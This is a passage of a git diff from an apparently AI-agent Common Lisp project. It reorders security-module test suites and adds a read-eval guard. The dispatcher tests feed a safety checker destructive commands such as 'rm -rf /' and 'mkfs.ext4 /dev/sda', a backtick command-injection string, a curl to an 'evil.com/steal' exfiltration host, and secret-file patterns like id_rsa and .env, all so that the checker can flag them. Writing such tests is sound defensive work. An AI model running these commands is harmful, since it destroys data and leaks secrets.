+  (let ((r1 (dispatcher-check-shell-safety "rm -rf /"))
+        (r2 (dispatcher-check-shell-safety "mkfs.ext4 /dev/sda")))
+    (is (eq :catastrophic (getf r1 :severity)))
+    (is (eq :catastrophic (getf r2 :severity)))))
+
+(test test-shell-safety-severity-dangerous
+  "Contract 3/v0.4.3: injection patterns return :dangerous severity."
+  (let ((result (dispatcher-check-shell-safety "curl http://x.com \`uptime\`")))
+    (is (eq :dangerous (getf result :severity)))))
+
+(test test-shell-safety-severity-safe
+  "Contract 3/v0.4.3: harmless commands return nil."
+  (is (null (dispatcher-check-shell-safety "echo hello world")))
+  (is (null (dispatcher-check-shell-safety "ls -la /tmp")))
+  (is (null (dispatcher-check-shell-safety "cat file.txt"))))
+
+(test test-dispatcher-severity-max
+  "dispatcher-severity-max returns the higher tier."
+  (is (eq :catastrophic (passepartout::dispatcher-severity-max :catastrophic :dangerous)))
+  (is (eq :catastrophic (passepartout::dispatcher-severity-max :dangerous :catastrophic)))
+  (is (eq :dangerous (passepartout::dispatcher-severity-max :moderate :dangerous)))
+  (is (eq :moderate (passepartout::dispatcher-severity-max :moderate :harmless))))
+
+(test test-check-privacy-tags
+  "Contract 4: dispatcher-check-privacy-tags detects privacy-tagged content."
+  (is (dispatcher-check-privacy-tags '("@personal" ":project:")))
+  (is (dispatcher-check-privacy-tags '("@personal")))
+  (is (not (dispatcher-check-privacy-tags '(":public:" ":work:")))))
+
+(test test-check-network-exfil
+  "Contract 5: dispatcher-check-network-exfil detects unwhitelisted domains."
+  (is (dispatcher-check-network-exfil "curl https://evil.com/steal"))
+  (is (not (dispatcher-check-network-exfil "curl https://api.openai.com/v1/models")))
+  (is (not (dispatcher-check-network-exfil "echo hello"))))
+
+;; ── v0.7.2 Tag Stack ──
+
+(test test-tag-categories-load
+  "Contract v0.7.2: TAG_CATEGORIES env var loads into *tag-categories*."
+  (setf (uiop:getenv "TAG_CATEGORIES") "@personal:block,@draft:warn,@review:log")
+  (passepartout::tag-categories-load)
+  (let ((cats passepartout::*tag-categories*))
+    (is (>= (length cats) 1))
+    (is (eq :block (passepartout::tag-category-severity "@personal")))
+    (is (eq :warn (passepartout::tag-category-severity "@draft")))
+    (is (eq :log (passepartout::tag-category-severity "@review"))))
+  (ignore-errors (setf (uiop:getenv "TAG_CATEGORIES") nil)))
+
+(test test-tag-category-severity-unknown
+  "Contract v0.7.2: unknown tag returns nil."
+  (is (null (passepartout::tag-category-severity "@nonexistent-xxxx"))))
+
+(test test-privacy-severity-block
+  "v0.7.2: dispatcher-privacy-severity returns :block for block-tagged content."
+  (setf passepartout::*tag-categories* '(("@personal" . :block)))
+  (is (eq :block (passepartout::dispatcher-privacy-severity '("@personal")))))
+
+(test test-privacy-severity-warn
+  "v0.7.2: dispatcher-privacy-severity returns :warn for warn-tagged content."
+  (setf passepartout::*tag-categories* '(("@draft" . :warn)))
+  (is (eq :warn (passepartout::dispatcher-privacy-severity '("@draft")))))
+
+(test test-privacy-severity-nil
+  "v0.7.2: dispatcher-privacy-severity returns nil for untagged content."
+  (setf passepartout::*tag-categories* nil)
+  (is (null (passepartout::dispatcher-privacy-severity '("public")))))
+
+(test test-tag-trigger-record
+  "v0.7.2: tag-trigger-record increments per-tag count."
+  (clrhash passepartout::*tag-trigger-count*)
+  (passepartout::tag-trigger-record "@personal")
+  (passepartout::tag-trigger-record "@personal")
+  (passepartout::tag-trigger-record "@draft")
+  (is (= 2 (gethash "@personal" passepartout::*tag-trigger-count* 0)))
+  (is (= 1 (gethash "@draft" passepartout::*tag-trigger-count* 0)))
+  (clrhash passepartout::*tag-trigger-count*))
+
+(test test-tag-categories-privacy-fallback
+  "v0.7.2: TAG_CATEGORIES falls back to PRIVACY_FILTER_TAGS when not set."
+  (let ((orig-tag (uiop:getenv "TAG_CATEGORIES"))
+        (orig-privacy (uiop:getenv "PRIVACY_FILTER_TAGS"))
+        (saved-tag (uiop:getenv "TAG_CATEGORIES"))
+        (saved-privacy (uiop:getenv "PRIVACY_FILTER_TAGS")))
+    ;; Set PRIVACY_FILTER_TAGS, clear TAG_CATEGORIES
+    (sb-posix:setenv "PRIVACY_FILTER_TAGS" "@personal,@draft" 1)
+    (sb-posix:unsetenv "TAG_CATEGORIES")
+    (passepartout::tag-categories-load)
+    (is (eq :block (passepartout::tag-category-severity "@personal")))
+    (is (eq :block (passepartout::tag-category-severity "@draft")))
+    ;; Restore
+    (when saved-tag (sb-posix:setenv "TAG_CATEGORIES" saved-tag 1))
+    (when saved-privacy (sb-posix:setenv "PRIVACY_FILTER_TAGS" saved-privacy 1))
+    (passepartout::tag-categories-load)))
+
+(test test-safe-tool-read-only-auto-approve
+  "Contract v0.7.2: read-only tools pass dispatcher-check unconditionally."
+  (setf (gethash "test-ro-tool" passepartout::*cognitive-tool-registry*)
+        (passepartout::make-cognitive-tool :name "test-ro-tool"
+                                          :description "Read-only test"
+                                          :parameters nil
+                                          :guard nil
+                                          :body nil
+                                          :read-only-p t))
+  (unwind-protect
+       (let* ((action '(:TYPE :REQUEST :TARGET :tool
+                        :PAYLOAD (:TOOL "test-ro-tool" :ARGS (:FILEPATH "/tmp/test"))))
+              (result (dispatcher-check action nil)))
+         (is (eq :REQUEST (getf result :type)))
+         (is (not (member (getf result :type) '(:LOG :approval-required)))))
+    (remhash "test-ro-tool" passepartout::*cognitive-tool-registry*)))
+
+(test test-safe-tool-write-still-checked
+  "Contract v0.7.2: write tools still go through full dispatcher check."
+  (let ((orig-tool (gethash "write-file" passepartout::*cognitive-tool-registry*)))
+    (setf (gethash "write-file" passepartout::*cognitive-tool-registry*)
+          (passepartout::make-cognitive-tool :name "write-file"
+                                            :description "File writer"
+                                            :parameters nil
+                                            :guard nil
+                                            :body nil
+                                            :read-only-p nil))
+    (unwind-protect
+         (progn
+           (setf (uiop:getenv "SELF_BUILD_MODE") "true")
+           (let* ((action '(:TYPE :REQUEST :TARGET :tool
+                            :PAYLOAD (:TOOL "write-file" :ARGS (:FILEPATH "core-reason.org" :CONTENT "x"))))
+                  (result (dispatcher-check action nil)))
+             (is (eq :approval-required (getf result :level)))
+             (is (search "HITL" (getf (getf result :payload) :message)))))
+      (setf (uiop:getenv "SELF_BUILD_MODE") "false")
+      (if orig-tool
+          (setf (gethash "write-file" passepartout::*cognitive-tool-registry*) orig-tool)
+          (remhash "write-file" passepartout::*cognitive-tool-registry*)))))
+
 (in-package :passepartout)
 
 (defvar *dispatcher-network-whitelist*
@@ -397,7 +583,7 @@ Eleven checks: 0=REPL-lint (warn-only), 1=lisp-validation, 2=secret-path,
              (action-str (getf attrs :ACTION)))
         (when (and (member "FLIGHT_PLAN" tags :test #'string-equal) action-str)
           (log-message "DISPATCHER: Found approved flight plan '~a'. Re-injecting..." (memory-object-id node))
-          (let ((action (ignore-errors (read-from-string action-str))))
+          (let ((action (ignore-errors (let ((*read-eval* nil)) (read-from-string action-str)))))
             (when action
               (setf (getf action :approved) t)
               (stimulus-inject (list :type :EVENT
@@ -525,192 +711,6 @@ Recognized formats:
          (sorted (sort (copy-list by-gate) #'> :key #'cdr)))
     (list :total total :by-gate sorted)))
 
-(eval-when (:compile-toplevel :load-toplevel :execute)
-  (ql:quickload :fiveam :silent t))
-
-(defpackage :passepartout-security-dispatcher-tests
-  (:use :cl :fiveam :passepartout)
-  (:export #:dispatcher-suite))
-
-(in-package :passepartout-security-dispatcher-tests)
-
-(def-suite dispatcher-suite :description "Verification of the Security Dispatcher")
-(in-suite dispatcher-suite)
-
-(test test-wildcard-match
-  "Contract 1: wildcard pattern * matches any characters."
-  (is (wildcard-match "*.env" ".env"))
-  (is (wildcard-match "*.env" "prod.env"))
-  (is (wildcard-match "*credential*" "my-credential-file"))
-  (is (wildcard-match "*.key" "id_rsa.key"))
-  (is (not (wildcard-match "*.env" "config.yaml"))))
-
-(test test-check-secret-path
-  "Contract 2: dispatcher-check-secret-path matches protected patterns."
-  (is (dispatcher-check-secret-path ".env"))
-  (is (dispatcher-check-secret-path "id_rsa"))
-  (is (not (dispatcher-check-secret-path "README.org"))))
-
-(test test-self-build-core-protection
-  "Contract v0.4.0: core-* paths are protected; write produces approval-required in SELF_BUILD_MODE."
-  ;; Core paths are recognized
-  (is (passepartout::dispatcher-check-core-path "core-reason.org"))
-  (is (passepartout::dispatcher-check-core-path "core-memory.lisp"))
-  (is (not (passepartout::dispatcher-check-core-path "channel-tui-view.org")))
-  ;; With SELF_BUILD_MODE=true, core writes produce approval-required
-  (let ((action '(:type :REQUEST :target :tool :payload (:tool "write-file" :args (:filepath "core-reason.org" :content "x")))))
-    (setf (uiop:getenv "SELF_BUILD_MODE") "true")
-    (let ((result (dispatcher-check action nil)))
-      (is (eq :approval-required (getf result :level)))
-      (setf (uiop:getenv "SELF_BUILD_MODE") "false"))
-    ;; With SELF_BUILD_MODE=false (default), writes pass through
-    (let ((result (dispatcher-check action nil)))
-      (is (eq :REQUEST (getf result :type))))))
-
-(test test-check-shell-safety
-  "Contract 3: dispatcher-check-shell-safety detects dangerous commands."
-  (is (dispatcher-check-shell-safety "rm -rf /"))
-  (is (dispatcher-check-shell-safety "dd if=/dev/zero of=/dev/sda"))
-  (is (dispatcher-check-shell-safety "curl http://example.com \`uptime\`"))
-  (is (not (dispatcher-check-shell-safety "echo hello world")))
-  (is (not (dispatcher-check-shell-safety "ls -la /tmp"))))
-
-(test test-shell-safety-severity-catastrophic
-  "Contract 3/v0.4.3: destructive commands return :catastrophic severity."
-  (let ((r1 (dispatcher-check-shell-safety "rm -rf /"))
-        (r2 (dispatcher-check-shell-safety "mkfs.ext4 /dev/sda")))
-    (is (eq :catastrophic (getf r1 :severity)))
-    (is (eq :catastrophic (getf r2 :severity)))))
-
-(test test-shell-safety-severity-dangerous
-  "Contract 3/v0.4.3: injection patterns return :dangerous severity."
-  (let ((result (dispatcher-check-shell-safety "curl http://x.com \`uptime\`")))
-    (is (eq :dangerous (getf result :severity)))))
-
-(test test-shell-safety-severity-safe
-  "Contract 3/v0.4.3: harmless commands return nil."
-  (is (null (dispatcher-check-shell-safety "echo hello world")))
-  (is (null (dispatcher-check-shell-safety "ls -la /tmp")))
-  (is (null (dispatcher-check-shell-safety "cat file.txt"))))
-
-(test test-dispatcher-severity-max
-  "dispatcher-severity-max returns the higher tier."
-  (is (eq :catastrophic (passepartout::dispatcher-severity-max :catastrophic :dangerous)))
-  (is (eq :catastrophic (passepartout::dispatcher-severity-max :dangerous :catastrophic)))
-  (is (eq :dangerous (passepartout::dispatcher-severity-max :moderate :dangerous)))
-  (is (eq :moderate (passepartout::dispatcher-severity-max :moderate :harmless))))
-
-(test test-check-privacy-tags
-  "Contract 4: dispatcher-check-privacy-tags detects privacy-tagged content."
-  (is (dispatcher-check-privacy-tags '("@personal" ":project:")))
-  (is (dispatcher-check-privacy-tags '("@personal")))
-  (is (not (dispatcher-check-privacy-tags '(":public:" ":work:")))))
-
-(test test-check-network-exfil
-  "Contract 5: dispatcher-check-network-exfil detects unwhitelisted domains."
-  (is (dispatcher-check-network-exfil "curl https://evil.com/steal"))
-  (is (not (dispatcher-check-network-exfil "curl https://api.openai.com/v1/models")))
-  (is (not (dispatcher-check-network-exfil "echo hello"))))
-
-;; ── v0.7.2 Tag Stack ──
-
-(test test-tag-categories-load
-  "Contract v0.7.2: TAG_CATEGORIES env var loads into *tag-categories*."
-  (setf (uiop:getenv "TAG_CATEGORIES") "@personal:block,@draft:warn,@review:log")
-  (passepartout::tag-categories-load)
-  (let ((cats passepartout::*tag-categories*))
-    (is (>= (length cats) 1))
-    (is (eq :block (passepartout::tag-category-severity "@personal")))
-    (is (eq :warn (passepartout::tag-category-severity "@draft")))
-    (is (eq :log (passepartout::tag-category-severity "@review"))))
-  (ignore-errors (setf (uiop:getenv "TAG_CATEGORIES") nil)))
-
-(test test-tag-category-severity-unknown
-  "Contract v0.7.2: unknown tag returns nil."
-  (is (null (passepartout::tag-category-severity "@nonexistent-xxxx"))))
-
-(test test-privacy-severity-block
-  "v0.7.2: dispatcher-privacy-severity returns :block for block-tagged content."
-  (setf passepartout::*tag-categories* '(("@personal" . :block)))
-  (is (eq :block (passepartout::dispatcher-privacy-severity '("@personal")))))
-
-(test test-privacy-severity-warn
-  "v0.7.2: dispatcher-privacy-severity returns :warn for warn-tagged content."
-  (setf passepartout::*tag-categories* '(("@draft" . :warn)))
-  (is (eq :warn (passepartout::dispatcher-privacy-severity '("@draft")))))
-
-(test test-privacy-severity-nil
-  "v0.7.2: dispatcher-privacy-severity returns nil for untagged content."
-  (setf passepartout::*tag-categories* nil)
-  (is (null (passepartout::dispatcher-privacy-severity '("public")))))
-
-(test test-tag-trigger-record
-  "v0.7.2: tag-trigger-record increments per-tag count."
-  (clrhash passepartout::*tag-trigger-count*)
-  (passepartout::tag-trigger-record "@personal")
-  (passepartout::tag-trigger-record "@personal")
-  (passepartout::tag-trigger-record "@draft")
-  (is (= 2 (gethash "@personal" passepartout::*tag-trigger-count* 0)))
-  (is (= 1 (gethash "@draft" passepartout::*tag-trigger-count* 0)))
-  (clrhash passepartout::*tag-trigger-count*))
-
-(test test-tag-categories-privacy-fallback
-  "v0.7.2: TAG_CATEGORIES falls back to PRIVACY_FILTER_TAGS when not set."
-  (let ((orig-tag (uiop:getenv "TAG_CATEGORIES"))
-        (orig-privacy (uiop:getenv "PRIVACY_FILTER_TAGS"))
-        (saved-tag (uiop:getenv "TAG_CATEGORIES"))
-        (saved-privacy (uiop:getenv "PRIVACY_FILTER_TAGS")))
-    ;; Set PRIVACY_FILTER_TAGS, clear TAG_CATEGORIES
-    (sb-posix:setenv "PRIVACY_FILTER_TAGS" "@personal,@draft" 1)
-    (sb-posix:unsetenv "TAG_CATEGORIES")
-    (passepartout::tag-categories-load)
-    (is (eq :block (passepartout::tag-category-severity "@personal")))
-    (is (eq :block (passepartout::tag-category-severity "@draft")))
-    ;; Restore
-    (when saved-tag (sb-posix:setenv "TAG_CATEGORIES" saved-tag 1))
-    (when saved-privacy (sb-posix:setenv "PRIVACY_FILTER_TAGS" saved-privacy 1))
-    (passepartout::tag-categories-load)))
-
-(test test-safe-tool-read-only-auto-approve
-  "Contract v0.7.2: read-only tools pass dispatcher-check unconditionally."
-  (setf (gethash "test-ro-tool" passepartout::*cognitive-tool-registry*)
-        (passepartout::make-cognitive-tool :name "test-ro-tool"
-                                          :description "Read-only test"
-                                          :parameters nil
-                                          :guard nil
-                                          :body nil
-                                          :read-only-p t))
-  (unwind-protect
-       (let* ((action '(:TYPE :REQUEST :TARGET :tool
-                        :PAYLOAD (:TOOL "test-ro-tool" :ARGS (:FILEPATH "/tmp/test"))))
-              (result (dispatcher-check action nil)))
-         (is (eq :REQUEST (getf result :type)))
-         (is (not (member (getf result :type) '(:LOG :approval-required)))))
-    (remhash "test-ro-tool" passepartout::*cognitive-tool-registry*)))
-
-(test test-safe-tool-write-still-checked
-  "Contract v0.7.2: write tools still go through full dispatcher check."
-  (let ((orig-tool (gethash "write-file" passepartout::*cognitive-tool-registry*)))
-    (setf (gethash "write-file" passepartout::*cognitive-tool-registry*)
-          (passepartout::make-cognitive-tool :name "write-file"
-                                            :description "File writer"
-                                            :parameters nil
-                                            :guard nil
-                                            :body nil
-                                            :read-only-p nil))
-    (unwind-protect
-         (progn
-           (setf (uiop:getenv "SELF_BUILD_MODE") "true")
-           (let* ((action '(:TYPE :REQUEST :TARGET :tool
-                            :PAYLOAD (:TOOL "write-file" :ARGS (:FILEPATH "core-reason.org" :CONTENT "x"))))
-                  (result (dispatcher-check action nil)))
-             (is (eq :approval-required (getf result :level)))
-             (is (search "HITL" (getf (getf result :payload) :message)))))
-      (setf (uiop:getenv "SELF_BUILD_MODE") "false")
-      (if orig-tool
-          (setf (gethash "write-file" passepartout::*cognitive-tool-registry*) orig-tool)
-          (remhash "write-file" passepartout::*cognitive-tool-registry*)))))
-
 (in-package :passepartout-security-dispatcher-tests)
 
 (test test-block-record-increments

lisp/security-permissions.lisp

@@ -1,19 +1,3 @@
-(in-package :passepartout)
-
-(defvar *permission-table* (make-hash-table :test 'equal))
-
-(defun permission-set (tool-name level)
-  "Sets the permission level for a tool."
-  (setf (gethash (string-downcase (string tool-name)) *permission-table*) level))
-
-(defun permission-get (tool-name)
-  "Retrieves the permission level for a tool. Defaults to :ask."
-  (gethash (string-downcase (string tool-name)) *permission-table* :ask))
-
-(defskill :passepartout-security-permissions
-  :priority 600
-  :trigger (lambda (ctx) (declare (ignore ctx)) nil))
-
 (eval-when (:compile-toplevel :load-toplevel :execute)
   (ql:quickload :fiveam :silent t))
 
@@ -42,3 +26,19 @@
   (permission-set :CapitalTool :deny)
   (is (eq :deny (permission-get :capitaltool)))
   (permission-set "CapitalTool" nil))
+
+(in-package :passepartout)
+
+(defvar *permission-table* (make-hash-table :test 'equal))
+
+(defun permission-set (tool-name level)
+  "Sets the permission level for a tool."
+  (setf (gethash (string-downcase (string tool-name)) *permission-table*) level))
+
+(defun permission-get (tool-name)
+  "Retrieves the permission level for a tool. Defaults to :ask."
+  (gethash (string-downcase (string tool-name)) *permission-table* :ask))
+
+(defskill :passepartout-security-permissions
+  :priority 600
+  :trigger (lambda (ctx) (declare (ignore ctx)) nil))

lisp/security-policy.lisp

@@ -1,23 +1,3 @@
-(in-package :passepartout)
-
-(defun policy-compliance-check (action context)
-  "Enforces constitutional invariants on proposed actions."
-  (declare (ignore context))
-  (let* ((payload (proto-get action :payload))
-         (explanation (proto-get payload :explanation)))
-    (if (and explanation (stringp explanation) (> (length explanation) 10))
-        action
-        (progn
-          (log-message "POLICY VIOLATION: Action lacks sufficient explanation.")
-          (list :type :LOG
-                :payload (list :level :warn
-                              :text "Action blocked: Missing or insufficient :explanation. Please justify your reasoning."))))))
-
-(defskill :passepartout-security-policy
-  :priority 500
-  :trigger (lambda (ctx) (declare (ignore ctx)) t)
-  :deterministic #'policy-compliance-check)
-
 (eval-when (:compile-toplevel :load-toplevel :execute)
   (ql:quickload :fiveam :silent t))
 
@@ -48,3 +28,23 @@
   (let* ((action '(:type :REQUEST :payload (:action :read)))
          (result (policy-compliance-check action nil)))
     (is (eq :LOG (getf result :type)))))
+
+(in-package :passepartout)
+
+(defun policy-compliance-check (action context)
+  "Enforces constitutional invariants on proposed actions."
+  (declare (ignore context))
+  (let* ((payload (proto-get action :payload))
+         (explanation (proto-get payload :explanation)))
+    (if (and explanation (stringp explanation) (> (length explanation) 10))
+        action
+        (progn
+          (log-message "POLICY VIOLATION: Action lacks sufficient explanation.")
+          (list :type :LOG
+                :payload (list :level :warn
+                              :text "Action blocked: Missing or insufficient :explanation. Please justify your reasoning."))))))
+
+(defskill :passepartout-security-policy
+  :priority 500
+  :trigger (lambda (ctx) (declare (ignore ctx)) t)
+  :deterministic #'policy-compliance-check)

lisp/security-validator.lisp

@@ -1,19 +1,3 @@
-(in-package :passepartout)
-
-(defun validator-protocol-check (msg)
-  "Enforces structural schema compliance on protocol messages."
-  (validate-communication-protocol-schema msg))
-
-(defskill :passepartout-security-validator
-  :priority 95
-  :trigger (lambda (ctx) (declare (ignore ctx)) t)
-  :deterministic (lambda (action ctx)
-                   (declare (ignore ctx))
-                   (handler-case
-                       (progn (validator-protocol-check action) action)
-                     (error (c)
-                       (list :type :LOG :payload (list :level :error :text (format nil "Protocol Violation: ~a" c)))))))
-
 (eval-when (:compile-toplevel :load-toplevel :execute)
   (ql:quickload :fiveam :silent t))
 
@@ -41,3 +25,19 @@
   (let ((msg '(:payload (:sensor :heartbeat))))
     (signals error
       (validator-protocol-check msg))))
+
+(in-package :passepartout)
+
+(defun validator-protocol-check (msg)
+  "Enforces structural schema compliance on protocol messages."
+  (validate-communication-protocol-schema msg))
+
+(defskill :passepartout-security-validator
+  :priority 95
+  :trigger (lambda (ctx) (declare (ignore ctx)) t)
+  :deterministic (lambda (action ctx)
+                   (declare (ignore ctx))
+                   (handler-case
+                       (progn (validator-protocol-check action) action)
+                     (error (c)
+                       (list :type :LOG :payload (list :level :error :text (format nil "Protocol Violation: ~a" c)))))))

lisp/security-vault.lisp

@@ -1,39 +1,3 @@
-(in-package :passepartout)
-
-(defvar *vault-memory* (make-hash-table :test 'equal)
-  "In-memory cache of sensitive credentials.")
-
-(defun vault-get (provider &key (type :api-key))
-  "Retrieves a credential from the vault or environment."
-  (let* ((key (format nil "~a-~a" provider type))
-         (val (gethash key *vault-memory*)))
-    (if val
-        val
-        (let ((env-var (case provider
-                          (:gemini "GEMINI_API_KEY")
-                          (:openai "OPENAI_API_KEY")
-                          (:anthropic "ANTHROPIC_API_KEY")
-                          (:openrouter "OPENROUTER_API_KEY")
-                          (otherwise nil))))
-          (when env-var (uiop:getenv env-var))))))
-
-(defun vault-set (provider secret &key (type :api-key))
-  "Stores a secret in the vault."
-  (let ((key (format nil "~a-~a" provider type)))
-    (setf (gethash key *vault-memory*) secret)))
-
-(defun vault-get-secret (provider)
-  "Retrieves a stored secret or token for a gateway provider."
-  (vault-get provider :type :secret))
-
-(defun vault-set-secret (provider secret)
-  "Stores a secret or token for a gateway provider."
-  (vault-set provider secret :type :secret))
-
-(defskill :passepartout-security-vault
-  :priority 600
-  :trigger (lambda (ctx) (declare (ignore ctx)) nil))
-
 (eval-when (:compile-toplevel :load-toplevel :execute)
   (ql:quickload :fiveam :silent t))
 
@@ -84,3 +48,39 @@
   (is (string= "secret-value" (vault-get :vault-type-test :type :secret)))
   (vault-set :vault-type-test nil :type :api-key)
   (vault-set :vault-type-test nil :type :secret))
+
+(in-package :passepartout)
+
+(defvar *vault-memory* (make-hash-table :test 'equal)
+  "In-memory cache of sensitive credentials.")
+
+(defun vault-get (provider &key (type :api-key))
+  "Retrieves a credential from the vault or environment."
+  (let* ((key (format nil "~a-~a" provider type))
+         (val (gethash key *vault-memory*)))
+    (if val
+        val
+        (let ((env-var (case provider
+                          (:gemini "GEMINI_API_KEY")
+                          (:openai "OPENAI_API_KEY")
+                          (:anthropic "ANTHROPIC_API_KEY")
+                          (:openrouter "OPENROUTER_API_KEY")
+                          (otherwise nil))))
+          (when env-var (uiop:getenv env-var))))))
+
+(defun vault-set (provider secret &key (type :api-key))
+  "Stores a secret in the vault."
+  (let ((key (format nil "~a-~a" provider type)))
+    (setf (gethash key *vault-memory*) secret)))
+
+(defun vault-get-secret (provider)
+  "Retrieves a stored secret or token for a gateway provider."
+  (vault-get provider :type :secret))
+
+(defun vault-set-secret (provider secret)
+  "Stores a secret or token for a gateway provider."
+  (vault-set provider secret :type :secret))
+
+(defskill :passepartout-security-vault
+  :priority 600
+  :trigger (lambda (ctx) (declare (ignore ctx)) nil))

lisp/sensor-time.lisp

@@ -1,3 +1,71 @@
+(eval-when (:compile-toplevel :load-toplevel :execute)
+  (ql:quickload :fiveam :silent t))
+
+(defpackage :passepartout-sensor-time-tests
+  (:use :cl :fiveam :passepartout)
+  (:export #:sensor-time-suite))
+
+(in-package :passepartout-sensor-time-tests)
+
+(def-suite sensor-time-suite :description "Temporal awareness: time formatting, session, deadlines")
+(in-suite sensor-time-suite)
+
+(test test-format-time-for-llm-includes-year
+  "Contract 1: format-time-for-llm returns a string with the current year."
+  (let ((result (passepartout::format-time-for-llm)))
+    (is (stringp result))
+    (is (search "202" result))
+    (is (search "TIME" result))))
+
+(test test-format-time-for-llm-utc
+  "Contract 1: iso format includes Z suffix."
+  (let ((result (passepartout::format-time-for-llm)))
+    (is (stringp result))
+    (is (search "Z" result))))
+
+(test test-format-time-for-llm-natural
+  "Contract 1: natural format produces human-readable date."
+  (let ((old-env (or (uiop:getenv "TIME_FORMAT") "")))
+    (unwind-protect
+         (progn
+           (setf (uiop:getenv "TIME_FORMAT") "natural")
+           (let ((result (passepartout::format-time-for-llm)))
+             (is (stringp result))
+             (is (search "UTC" result))))
+      (setf (uiop:getenv "TIME_FORMAT") old-env))))
+
+(test test-format-time-for-llm-with-session
+  "Contract 1: with session duration, includes session info."
+  (let ((result (passepartout::format-time-for-llm :session-duration-seconds 3720)))
+    (is (search "1h 2m" result))))
+
+(test test-session-duration
+  "Contract 2: session-duration returns a positive number after init."
+  (passepartout::sensor-time-initialize)
+  (let ((dur (passepartout::session-duration)))
+    (is (numberp dur))
+    (is (>= dur 0))))
+
+(test test-sensor-time-tick-empty
+  "Contract 3: sensor-time-tick returns nil when no deadlines are near."
+  (clrhash passepartout::*memory-store*)
+  (let ((result (passepartout::sensor-time-tick)))
+    (is (null result))))
+
+(test test-sensor-time-tick-detects-deadline
+  "Contract 3: sensor-time-tick detects a deadline close in time."
+  (clrhash passepartout::*memory-store*)
+  (setf passepartout::*deadline-warning-minutes* 120)
+  (let ((near-future-time (- (get-universal-time) 60)))  ; 1 minute ago
+    (ingest-ast (list :type :HEADLINE
+                       :properties (list :ID "deadline-test"
+                                         :TITLE "Submit report"
+                                         :DEADLINE (write-to-string near-future-time))
+                       :contents nil)))
+  (let ((result (passepartout::sensor-time-tick)))
+    (is (not (null result)))
+    (is (search "Submit report" result))))
+
 (in-package :passepartout)
 
 (defvar *session-start-time* nil
@@ -99,71 +167,3 @@ Called by the time-tick cron job every minute."
           (format nil "~d deadlines approaching: ~{~a; ~}" (length parts) parts))))))
 
 (sensor-time-initialize)
-
-(eval-when (:compile-toplevel :load-toplevel :execute)
-  (ql:quickload :fiveam :silent t))
-
-(defpackage :passepartout-sensor-time-tests
-  (:use :cl :fiveam :passepartout)
-  (:export #:sensor-time-suite))
-
-(in-package :passepartout-sensor-time-tests)
-
-(def-suite sensor-time-suite :description "Temporal awareness: time formatting, session, deadlines")
-(in-suite sensor-time-suite)
-
-(test test-format-time-for-llm-includes-year
-  "Contract 1: format-time-for-llm returns a string with the current year."
-  (let ((result (passepartout::format-time-for-llm)))
-    (is (stringp result))
-    (is (search "202" result))
-    (is (search "TIME" result))))
-
-(test test-format-time-for-llm-utc
-  "Contract 1: iso format includes Z suffix."
-  (let ((result (passepartout::format-time-for-llm)))
-    (is (stringp result))
-    (is (search "Z" result))))
-
-(test test-format-time-for-llm-natural
-  "Contract 1: natural format produces human-readable date."
-  (let ((old-env (or (uiop:getenv "TIME_FORMAT") "")))
-    (unwind-protect
-         (progn
-           (setf (uiop:getenv "TIME_FORMAT") "natural")
-           (let ((result (passepartout::format-time-for-llm)))
-             (is (stringp result))
-             (is (search "UTC" result))))
-      (setf (uiop:getenv "TIME_FORMAT") old-env))))
-
-(test test-format-time-for-llm-with-session
-  "Contract 1: with session duration, includes session info."
-  (let ((result (passepartout::format-time-for-llm :session-duration-seconds 3720)))
-    (is (search "1h 2m" result))))
-
-(test test-session-duration
-  "Contract 2: session-duration returns a positive number after init."
-  (passepartout::sensor-time-initialize)
-  (let ((dur (passepartout::session-duration)))
-    (is (numberp dur))
-    (is (>= dur 0))))
-
-(test test-sensor-time-tick-empty
-  "Contract 3: sensor-time-tick returns nil when no deadlines are near."
-  (clrhash passepartout::*memory-store*)
-  (let ((result (passepartout::sensor-time-tick)))
-    (is (null result))))
-
-(test test-sensor-time-tick-detects-deadline
-  "Contract 3: sensor-time-tick detects a deadline close in time."
-  (clrhash passepartout::*memory-store*)
-  (setf passepartout::*deadline-warning-minutes* 120)
-  (let ((near-future-time (- (get-universal-time) 60)))  ; 1 minute ago
-    (ingest-ast (list :type :HEADLINE
-                       :properties (list :ID "deadline-test"
-                                         :TITLE "Submit report"
-                                         :DEADLINE (write-to-string near-future-time))
-                       :contents nil)))
-  (let ((result (passepartout::sensor-time-tick)))
-    (is (not (null result)))
-    (is (search "Submit report" result))))

lisp/symbolic-archivist.lisp

@@ -1,3 +1,41 @@
+(eval-when (:compile-toplevel :load-toplevel :execute)
+  (ql:quickload :fiveam :silent t))
+
+(defpackage :passepartout-symbolic-archivist-tests
+  (:use :cl :passepartout)
+  (:export #:archivist-suite))
+
+(in-package :passepartout-symbolic-archivist-tests)
+
+(fiveam:def-suite archivist-suite :description "Verification of the Archivist skill")
+(fiveam:in-suite archivist-suite)
+
+(fiveam:test test-extract-headlines
+  "Contract 1: archivist-extract-headlines parses Org content."
+  (let* ((content (format nil "* My Headline :tag1:tag2:~%Body text here~%* Another Headline"))
+         (headlines (archivist-extract-headlines content)))
+    (fiveam:is (listp headlines))
+    (fiveam:is (>= (length headlines) 1))))
+
+(fiveam:test test-headline-to-filename
+  "Contract 2: archivist-headline-to-filename sanitizes titles."
+  (let ((filename (archivist-headline-to-filename "My Project: Overview")))
+    (fiveam:is (search "my_project_overview" filename :test #'char-equal))
+    (fiveam:is (not (search ":" filename)))))
+
+(fiveam:test test-archivist-create-note
+  "Contract 3: archivist-create-note writes a Zettelkasten note to disk."
+  (let* ((tmp-dir "/tmp/passepartout-archivist-test/")
+         (headline (list :title "Test Note" :content "Some content" :tags '("test" "atomic"))))
+    (uiop:ensure-all-directories-exist (list tmp-dir))
+    (unwind-protect
+         (progn
+           (fiveam:is (eq t (archivist-create-note headline tmp-dir "/tmp/source.org"))
+               "Expected note creation to return T")
+           (fiveam:is (uiop:file-exists-p (merge-pathnames "test_note.org" tmp-dir))
+               "Expected file test_note.org to exist"))
+      (uiop:delete-directory-tree (uiop:ensure-directory-pathname tmp-dir) :validate t))))
+
 (in-package :passepartout)
 
 (in-package :passepartout)
@@ -239,41 +277,3 @@ and dispatches as needed. Called by the deterministic gate."
   :priority 100
   :trigger (lambda (ctx) (eq (getf (getf ctx :payload) :sensor) :heartbeat))
   :deterministic #'archivist-run)
-
-(eval-when (:compile-toplevel :load-toplevel :execute)
-  (ql:quickload :fiveam :silent t))
-
-(defpackage :passepartout-symbolic-archivist-tests
-  (:use :cl :passepartout)
-  (:export #:archivist-suite))
-
-(in-package :passepartout-symbolic-archivist-tests)
-
-(fiveam:def-suite archivist-suite :description "Verification of the Archivist skill")
-(fiveam:in-suite archivist-suite)
-
